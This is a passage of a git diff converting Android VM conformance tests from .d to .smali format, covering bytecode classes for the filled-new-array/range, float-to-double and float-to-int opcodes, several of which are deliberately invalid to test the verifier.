+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_9.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2009 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_filled_new_array_range_9.java"
+.class  public Ldot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+    invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+    return-void
+.end method
+
+.method public run(Ljava/lang/Object;)[Ljava/lang/Object;
+.registers 10
+    filled-new-array/range {v9}, [Ljava/lang/String;
+    move-result-object v0
+    return-object v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_double/d/T_float_to_double_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_double/d/T_float_to_double_1.d
deleted file mode 100644
index 0854de3..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_double/d/T_float_to_double_1.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_float_to_double_1.java
-.class public dot.junit.opcodes.float_to_double.d.T_float_to_double_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(F)D
-.limit regs 6
-
-       float-to-double v0, v5
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_double/d/T_float_to_double_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_double/d/T_float_to_double_1.smali
new file mode 100644
index 0000000..297c5fd
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_double/d/T_float_to_double_1.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_float_to_double_1.java"
+.class  public Ldot/junit/opcodes/float_to_double/d/T_float_to_double_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)D
+.registers 6
+
+       float-to-double v0, v5
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_double/d/T_float_to_double_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_double/d/T_float_to_double_2.d
deleted file mode 100644
index c37c547..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_double/d/T_float_to_double_2.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_float_to_double_2.java
-.class public dot.junit.opcodes.float_to_double.d.T_float_to_double_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(F)D
-.limit regs 6
-
-       const-wide v2, 3.14    
-       float-to-double v0, v2
-       return-wide v2
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_double/d/T_float_to_double_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_double/d/T_float_to_double_2.smali
new file mode 100644
index 0000000..55ee7c6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_double/d/T_float_to_double_2.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_float_to_double_2.java"
+.class  public Ldot/junit/opcodes/float_to_double/d/T_float_to_double_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)D
+.registers 6
+
+       const-wide v2, 3.14    
+       float-to-double v0, v2
+       return-wide v2
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_double/d/T_float_to_double_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_double/d/T_float_to_double_3.d
deleted file mode 100644
index 59217ee..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_double/d/T_float_to_double_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_float_to_double_3.java
-.class public dot.junit.opcodes.float_to_double.d.T_float_to_double_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(F)D
-.limit regs 6
-
-       const-wide v2, 1223
-       float-to-double v0, v2
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_double/d/T_float_to_double_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_double/d/T_float_to_double_3.smali
new file mode 100644
index 0000000..77d32d9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_double/d/T_float_to_double_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_float_to_double_3.java"
+.class  public Ldot/junit/opcodes/float_to_double/d/T_float_to_double_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)D
+.registers 6
+
+       const-wide v2, 1223
+       float-to-double v0, v2
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_double/d/T_float_to_double_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_double/d/T_float_to_double_4.d
deleted file mode 100644
index 32f2b0a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_double/d/T_float_to_double_4.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_float_to_double_4.java
-.class public dot.junit.opcodes.float_to_double.d.T_float_to_double_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()D
-.limit regs 1
-
-       const v0, 3.14
-       float-to-double v0, v0
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_double/d/T_float_to_double_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_double/d/T_float_to_double_4.smali
new file mode 100644
index 0000000..1c33cd6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_double/d/T_float_to_double_4.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/float_to_double/d/T_float_to_double_4;
+.super Ljava/lang/Object;
+.source "T_float_to_double_4.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()D
+    .registers 1
+
+    const p0, 0x4048f5c3    # 3.14f
+
+    float-to-double p0, p0
+
+    return-wide p0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_double/d/T_float_to_double_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_double/d/T_float_to_double_5.d
deleted file mode 100644
index 77c3dc3..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_double/d/T_float_to_double_5.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_float_to_double_5.java
-.class public dot.junit.opcodes.float_to_double.d.T_float_to_double_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(F)D
-.limit regs 6
-
-       float-to-double v0, v4
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_double/d/T_float_to_double_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_double/d/T_float_to_double_5.smali
new file mode 100644
index 0000000..c873fd8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_double/d/T_float_to_double_5.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_float_to_double_5.java"
+.class  public Ldot/junit/opcodes/float_to_double/d/T_float_to_double_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)D
+.registers 6
+
+       float-to-double v0, v4
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_double/d/T_float_to_double_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_double/d/T_float_to_double_6.d
deleted file mode 100644
index eac86d1..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_double/d/T_float_to_double_6.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_float_to_double_6.java
-.class public dot.junit.opcodes.float_to_double.d.T_float_to_double_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(F)D
-.limit regs 6
-
-       float-to-double v0, v6
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_double/d/T_float_to_double_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_double/d/T_float_to_double_6.smali
new file mode 100644
index 0000000..542edce
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_double/d/T_float_to_double_6.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_float_to_double_6.java"
+.class  public Ldot/junit/opcodes/float_to_double/d/T_float_to_double_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)D
+.registers 6
+
+       float-to-double v0, v6
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_double/d/T_float_to_double_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_double/d/T_float_to_double_7.d
deleted file mode 100644
index 71f3c83..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_double/d/T_float_to_double_7.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_float_to_double_7.java
-.class public dot.junit.opcodes.float_to_double.d.T_float_to_double_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)D
-.limit regs 6
-
-       float-to-double v0, v5
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_double/d/T_float_to_double_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_double/d/T_float_to_double_7.smali
new file mode 100644
index 0000000..8c09eec
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_double/d/T_float_to_double_7.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_float_to_double_7.java"
+.class  public Ldot/junit/opcodes/float_to_double/d/T_float_to_double_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)D
+.registers 6
+
+       float-to-double v0, v5
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_int/d/T_float_to_int_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_int/d/T_float_to_int_1.d
deleted file mode 100644
index 35f2eef..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_int/d/T_float_to_int_1.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_float_to_int_1.java
-.class public dot.junit.opcodes.float_to_int.d.T_float_to_int_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(F)I
-.limit regs 5
-
-       float-to-int v0, v4
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_int/d/T_float_to_int_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_int/d/T_float_to_int_1.smali
new file mode 100644
index 0000000..72b5aca
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_int/d/T_float_to_int_1.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_float_to_int_1.java"
+.class  public Ldot/junit/opcodes/float_to_int/d/T_float_to_int_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)I
+.registers 5
+
+       float-to-int v0, v4
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_int/d/T_float_to_int_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_int/d/T_float_to_int_2.d
deleted file mode 100644
index 61a8c4f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_int/d/T_float_to_int_2.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_float_to_int_2.java
-.class public dot.junit.opcodes.float_to_int.d.T_float_to_int_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(F)I
-.limit regs 5
-
-       const-wide v1, 3.14
-       float-to-int v0, v1
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_int/d/T_float_to_int_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_int/d/T_float_to_int_2.smali
new file mode 100644
index 0000000..fd26b8b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_int/d/T_float_to_int_2.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_float_to_int_2.java"
+.class  public Ldot/junit/opcodes/float_to_int/d/T_float_to_int_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)I
+.registers 5
+
+       const-wide v1, 3.14
+       float-to-int v0, v1
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_int/d/T_float_to_int_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_int/d/T_float_to_int_3.d
deleted file mode 100644
index 0401ffd..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_int/d/T_float_to_int_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_float_to_int_3.java
-.class public dot.junit.opcodes.float_to_int.d.T_float_to_int_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(F)I
-.limit regs 5
-
-       const-wide v1, 1234
-       float-to-int v0, v1
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_int/d/T_float_to_int_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_int/d/T_float_to_int_3.smali
new file mode 100644
index 0000000..504953b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_int/d/T_float_to_int_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_float_to_int_3.java"
+.class  public Ldot/junit/opcodes/float_to_int/d/T_float_to_int_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)I
+.registers 5
+
+       const-wide v1, 1234
+       float-to-int v0, v1
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_int/d/T_float_to_int_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_int/d/T_float_to_int_4.d
deleted file mode 100644
index 94fb137..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_int/d/T_float_to_int_4.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_float_to_int_4.java
-.class public dot.junit.opcodes.float_to_int.d.T_float_to_int_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(F)I
-.limit regs 5
-
-       float-to-int v0, v3
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_int/d/T_float_to_int_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_int/d/T_float_to_int_4.smali
new file mode 100644
index 0000000..701ba84
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_int/d/T_float_to_int_4.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_float_to_int_4.java"
+.class  public Ldot/junit/opcodes/float_to_int/d/T_float_to_int_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)I
+.registers 5
+
+       float-to-int v0, v3
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_int/d/T_float_to_int_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_int/d/T_float_to_int_5.d
deleted file mode 100644
index 697a193..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_int/d/T_float_to_int_5.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_float_to_int_5.java
-.class public dot.junit.opcodes.float_to_int.d.T_float_to_int_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 5
-
-       float-to-int v0, v4
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_int/d/T_float_to_int_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_int/d/T_float_to_int_5.smali
new file mode 100644
index 0000000..2065109
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_int/d/T_float_to_int_5.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
